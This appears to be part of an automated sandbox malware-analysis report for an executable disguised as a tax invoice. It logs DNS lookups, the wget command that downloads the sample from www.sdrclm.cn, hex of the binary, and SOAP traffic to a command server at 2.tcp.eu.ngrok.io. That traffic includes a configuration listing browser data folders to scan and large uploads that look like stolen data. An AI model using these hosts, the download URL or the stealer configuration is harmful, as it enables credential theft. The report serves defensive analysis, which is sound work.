May 27, 2022 06:58:53.534558058 CEST	192.168.2.3	8.8.8.8	0x2c18	Standard query (0)	2.tcp.eu.ngrok.io	A (IP address)	IN (0x0001)
May 27, 2022 06:59:01.591507912 CEST	192.168.2.3	8.8.8.8	0x66c	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
May 27, 2022 06:59:01.623964071 CEST	192.168.2.3	8.8.8.8	0xd115	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
May 27, 2022 06:59:20.093914986 CEST	192.168.2.3	8.8.8.8	0x4c2c	Standard query (0)	2.tcp.eu.ngrok.io	A (IP address)	IN (0x0001)
May 27, 2022 06:59:21.826895952 CEST	192.168.2.3	8.8.8.8	0x53cb	Standard query (0)	2.tcp.eu.ngrok.io	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 27, 2022 06:58:30.524404049 CEST	8.8.8.8	192.168.2.3	0x8553	No error (0)	www.sdrclm.cn		47.105.225.69	A (IP address)	IN (0x0001)
May 27, 2022 06:58:53.553708076 CEST	8.8.8.8	192.168.2.3	0x2c18	No error (0)	2.tcp.eu.ngrok.io		18.156.13.209	A (IP address)	IN (0x0001)
May 27, 2022 06:59:01.612667084 CEST	8.8.8.8	192.168.2.3	0x66c	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 06:59:01.644654036 CEST	8.8.8.8	192.168.2.3	0xd115	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 06:59:20.115780115 CEST	8.8.8.8	192.168.2.3	0x4c2c	No error (0)	2.tcp.eu.ngrok.io		18.192.93.86	A (IP address)	IN (0x0001)
May 27, 2022 06:59:21.844235897 CEST	8.8.8.8	192.168.2.3	0x53cb	No error (0)	2.tcp.eu.ngrok.io		18.156.13.209	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.sdrclm.cn

2.tcp.eu.ngrok.io:17685

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49717	47.105.225.69	80	C:\Windows\SysWOW64\wget.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 06:58:30.708199024 CEST	249	OUT	GET /vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko Accept: / Accept-Encoding: identity Host: www.sdrclm.cn Connection: Keep-Alive
May 27, 2022 06:58:30.888588905 CEST	409	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 May 2022 04:58:30 GMT Content-Type: application/octet-stream Content-Length: 241664 Last-Modified: Thu, 26 May 2022 12:39:54 GMT Connection: keep-alive ETag: "628f751a-3b000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 00 72 8f 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 f8 00 00 00 b4 02 00 00 00 00 00 0a 00 04 00 00 a0 02 00 00 20 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a3 02 00 53 00 00 00 00 a0 03 00 30 3d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 03 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 a0 02 00 48 00 00 00 00 00 00 00 00 00 00 00 54 2c 79 22 18 08 4a 38 50 73 02 00 00 20 00 00 00 74 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 65 78 74 00 00 00 c8 f5 00 00 00 a0 02 00 00 f6 00 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 30 3d 00 00 00 a0 03 00 00 3e 00 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 03 00 00 02 00 00 00 ac 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 10 00 00 00 00 00 04 00 00 02 00 00 00 ae 03 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 78 cb a0 bc 5c d0 76 71 07 e6 85 8e 31 f9 2a d8 f7 03 1c 0a c5 aa 60 66 7a e1 a7 b7 f6 8c 5a 28 58 00 30 db 82 6d e3 d4 3c 50 dd 7d 16 21 1c 00 aa d9 c7 7d 12 56 a8 34 83 b6 15 05 9e 1f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELrb @ @XS0=HT,y"J8Ps t@.textx `.rsrc0=>n@@.reloc@B `x\vq1*`fzZ(X0m<P}!}V4
May 27, 2022 06:58:30.888629913 CEST	411	IN	Data Raw: e8 36 a1 b1 de ed 84 b2 b4 ba 2f a1 c3 a7 59 b4 68 f4 c9 dc b8 13 cb 0b 06 71 86 29 ae 08 3b f4 e9 96 d2 d6 6f ef 53 61 2e f1 27 62 e0 4b 62 ac 8a 51 17 2d 4e c0 68 1c a6 05 6e c8 18 48 94 d7 65 07 0c d5 57 50 ff 60 b2 02 73 26 51 59 38 3e 3e 5d Data Ascii: 6/Yhq);oSa.'bKbQ-NhnHeWP`s&QY8>>]t.d$hJajJ<:pab@*g=9fHFsN9</!qOgX;_v\f~qHyxM][jt-Wo`D5r
May 27, 2022 06:58:30.888670921 CEST	412	IN	Data Raw: 70 c4 3d d2 55 2c 82 6e 56 71 85 88 3b 99 dc fc ef f6 37 99 4a 98 9e cc 20 1e 89 fb f4 09 1a a1 cb fe e1 60 48 b1 76 da bd 6e c4 9d fd 89 36 63 7b c4 f6 47 0e 97 1e e8 8e e5 c4 9d 1a 78 64 4f b0 c9 1e ce a4 b5 9f 34 10 5c ed ec f7 02 36 2d ac c9 Data Ascii: p=U,nVq;7J `Hvn6c{GxdO4\6-MqjUg<q5X8%ixHMTzZwgeYA!V=M#ttHY<K#7~nmk#J\:Gt[zWI_P_#vZXr>.1nW!Z/r[
May 27, 2022 06:58:30.888710976 CEST	413	IN	Data Raw: e4 66 cf 85 c5 ce 7e 15 1b 24 a7 3c 76 44 73 05 49 ad bf 88 33 47 57 c1 26 e9 fe 1e d3 47 78 cd 7e e3 ca 87 b2 48 8d 57 fd 6b 74 51 3d a3 3d 8f bb ff c8 84 79 3c 12 8d 30 f3 20 1c 41 e3 44 00 99 14 41 2d e9 97 b0 38 23 9e 1c 54 25 9a 42 56 6f af Data Ascii: f~$<vDsI3GW&Gx~HWktQ==y<0 ADA-8#T%BVoXa\`@HXg3>j3OF+V^4md?xXT)\|#%"<1_]QP=bq3x4=LL<2ZmmN[b]wIwA2B+K$)ePH
May 27, 2022 06:58:30.888751030 CEST	415	IN	Data Raw: 87 ba 92 e3 47 37 57 50 2e a8 c6 9b ea 5a 80 3b 4c 20 b8 5a c7 09 0d cf 37 e3 5a 71 de d3 2c 8b 68 b4 48 02 28 3d 04 4a 58 62 f0 69 2d d1 d2 d6 ae 0b 74 c9 62 bd 90 e0 8f fb 12 b8 bc 4e b8 92 4e 82 32 40 34 2c 68 df 84 78 aa 6f 91 8c 2b 4d d2 b9 Data Ascii: G7WP.Z;L Z7Zq,hH(=JXbi-tbNN2@4,hxo+MMV{g7wFG=w@Q0;.b7t?N7X]GB#q"W9p+vt9b6C;D^^N0D5Vz@e^.i.[<({D4h9
May 27, 2022 06:58:30.888791084 CEST	416	IN	Data Raw: 9b 8d 4d f1 ab 18 d3 d6 5f c6 0a ed 65 b1 bc 05 65 97 5e 4c 4f 46 c2 dc d5 57 1f b0 e0 18 54 ae 50 fb 04 6e db 52 58 b0 6f 60 e6 98 44 ec 1d 99 a0 47 ca 7a c0 17 69 1a bf 52 18 96 27 e3 5c 95 d1 9f 07 d6 61 c7 26 17 05 9d c7 b7 37 32 78 e4 97 1c Data Ascii: M_ee^LOFWTPnRXo`DGziR'\a&72xnwg&h*DGj`HgIH;vPP+.H*>uL[\| 0lOAO w)Wsev_H4gm!x-C
May 27, 2022 06:58:30.888833046 CEST	418	IN	Data Raw: c0 bc e3 31 30 89 a0 e5 ff 59 bf 73 4d 3f 16 45 89 e5 0a d9 ee a4 ea e3 16 59 7a b8 48 e7 30 50 0a bf 62 d7 64 e9 e6 c8 91 70 ba ba 13 54 10 7b 53 11 8d 11 16 2b 5c ca e1 f0 af 13 8c 92 df 01 a3 17 d1 e0 c9 15 d7 c3 58 f4 dc 6b bd a6 8d 9f 7a 1e Data Ascii: 10YsM?EYzH0PbdpT{S+\XkzH&}5"t$\AN0V^^U\|~Qmf7U&_@^0]EObPI<{'9&TL<}h7% u8T5v)v7w$TiM6%uFsR@
May 27, 2022 06:58:30.888870955 CEST	419	IN	Data Raw: d4 d4 3e 3c 4c 27 84 b7 20 a9 89 ea b0 c7 68 4a eb 88 28 3b 2e 06 de a2 e8 30 48 98 3d 95 ce 11 1a 4b b7 a3 87 20 4c 5e 33 d8 c8 1d 76 07 da cb 87 8b 32 ae 57 e8 8f 18 7a 6f f8 fb cb ac 8f dd 2f 3b 2e 8d 19 8e 70 45 a2 26 f7 01 18 bb a5 f7 d3 8e Data Ascii: ><L' hJ(;.0H=K L^3v2Wzo/;.pE&dQsarUH\|YK%\\mvjK<,Jft}Z1{Vdw~k?6PdRwh-jhh2E6!KGu#
May 27, 2022 06:58:30.888911009 CEST	420	IN	Data Raw: 11 1d 14 c4 43 f4 8b 55 46 bf f2 32 a0 4a 56 21 05 db 3c 27 32 12 5f 28 03 7d 99 51 f5 59 18 54 51 53 af c5 fb 2b 90 64 7f 6e e3 9c 1b 2a c6 dd c8 bc 0d 55 9e 07 77 5a 9b e0 67 31 c8 bf 3b c9 15 aa ce 30 e8 7d a2 fb 3f f8 6e 7c 54 4f ce b5 aa 45 Data Ascii: CUF2JV!<'2_(}QYTQS+dn*UwZg1;0}?n\|TOEGlHhK&[,f^UG"XkA(/Bn^ESTyxv1j\ai6jYML]9Lr8XNCvCjMNBu@mo\|1
May 27, 2022 06:58:30.888951063 CEST	422	IN	Data Raw: 09 d3 e2 01 f8 a2 a7 2a 8b f1 29 49 14 9a 5f c8 9e 21 03 ee 30 76 10 65 eb 47 e1 52 04 45 7f b7 b8 e9 5b c8 15 b8 fc cb df 6e b2 7d fb 2a a8 55 6f a3 4e 3a 9a 20 7a 59 eb 6f 2c ef d4 3e 58 d5 08 58 4b 01 c7 40 ff 2a 40 fe fb a4 e2 64 de d3 b0 7f Data Ascii: )I_!0veGRE[n}UoN: zYo,>XXK@@dFogNUN@@VK7BR !ts>^J8Iy=FYKER O[Ad/aP`=HTfF2?kW_05=1V1k'YFu)HU3!y
May 27, 2022 06:58:31.087290049 CEST	423	IN	Data Raw: 20 e8 a9 e6 84 8e cb db ee ba 8a 43 16 7b e9 b6 f3 21 f5 59 85 cc a3 85 38 10 d9 68 42 bd 3c 14 45 7c 4c a2 f8 fa d2 35 64 1a 7d a9 23 d1 be 7a 2d 23 a6 92 59 98 b5 fb d7 d6 6b 63 12 1e 1e 2e eb bc 43 45 34 b5 bb 32 24 6e fc 8f 9a 35 76 b2 4b 9f Data Ascii: C{!Y8hB<E\|L5d}#z-#Ykc.CE42$n5vKsCISODH,Pa]rJuCx5FYi]MLPq61!OFj9&^?F$jPo*1(]b?mivRlFSuoZ:zM[k

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49744	18.156.13.209	17685	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 06:58:53.830946922 CEST	1470	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 2.tcp.eu.ngrok.io:17685 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
May 27, 2022 06:58:53.859049082 CEST	1470	IN	HTTP/1.1 100 Continue
May 27, 2022 06:58:53.887656927 CEST	1470	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 27 May 2022 04:58:53 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
May 27, 2022 06:59:01.182743073 CEST	1561	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 2.tcp.eu.ngrok.io:17685 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
May 27, 2022 06:59:01.210571051 CEST	1561	IN	HTTP/1.1 100 Continue
May 27, 2022 06:59:01.305862904 CEST	1562	IN	HTTP/1.1 200 OK Content-Length: 4889 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 27 May 2022 04:59:01 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 2e 52 55 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 52 55 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 2f 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 4f 62 6a 65 63 74 34 3e 74 72 75 65 3c 2f 61 3a 4f 62 6a 65 63 74 34 3e 3c 61 3a 4f 62 6a 65 63 74 36 3e 66 61 6c 73 65 3c 2f 61 3a 4f 62 6a 65 63 74 36 3e 3c 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 74 72 75 65 3c 2f 61 3a 53 63 61 6e 42 72 6f 77 73 65 72 73 3e 3c 61 3a 53 63 61 6e 43 68 72 6f 6d 65 42 72 6f 77 73 65 72 73 50 61 74 68 73 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 42 61 74 74 6c 65 2e 6e 65 74 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 43 68 72 6f 6d 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 28 78 38 36 29 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 4f 70 65 72 61 20 53 6f 66 74 77 61 72 65 5c 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 4d 61 70 6c 65 53 74 75 64 69 6f 5c 43 68 72 6f 6d 65 50 6c 75 73 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 49 72 69 64 69 75 6d 5c 55 73 65 72 20 44 61 74 61 3c 2f 62 3a 73 74 72 69 6e 67 3e 3c 62 3a 73 74 72 69 6e 67 3e 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 37 53 74 61 72 5c 37 53 Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>.RU</b:string><b:string>RU</b:string></a:BlockedCountry><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Iridium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\7Star\7S

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49754	18.192.93.86	17685	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 06:59:20.148127079 CEST	1655	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 2.tcp.eu.ngrok.io:17685 Content-Length: 1107003 Expect: 100-continue Accept-Encoding: gzip, deflate
May 27, 2022 06:59:20.175966978 CEST	1655	IN	HTTP/1.1 100 Continue
May 27, 2022 06:59:21.309384108 CEST	2887	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 27 May 2022 04:59:21 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49755	18.156.13.209	17685	C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 06:59:21.929721117 CEST	2887	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 2.tcp.eu.ngrok.io:17685 Content-Length: 1106995 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
May 27, 2022 06:59:21.957731962 CEST	2888	IN	HTTP/1.1 100 Continue
May 27, 2022 06:59:22.754735947 CEST	4196	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Fri, 27 May 2022 04:59:22 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Target ID:	0
Start time:	06:58:27
Start date:	27/05/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe" > cmdline.out 2>&1
Imagebase:	0xc20000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	06:58:28
Start date:	27/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c9170000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	06:58:28
Start date:	27/05/2022
Path:	C:\Windows\SysWOW64\wget.exe
Wow64 process (32bit):	true
Commandline:	wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe"
Imagebase:	0x400000
File size:	3895184 bytes
MD5 hash:	3DADB6E2ECE9C4B3E1E322E617658B60
Has elevated privileges:	true
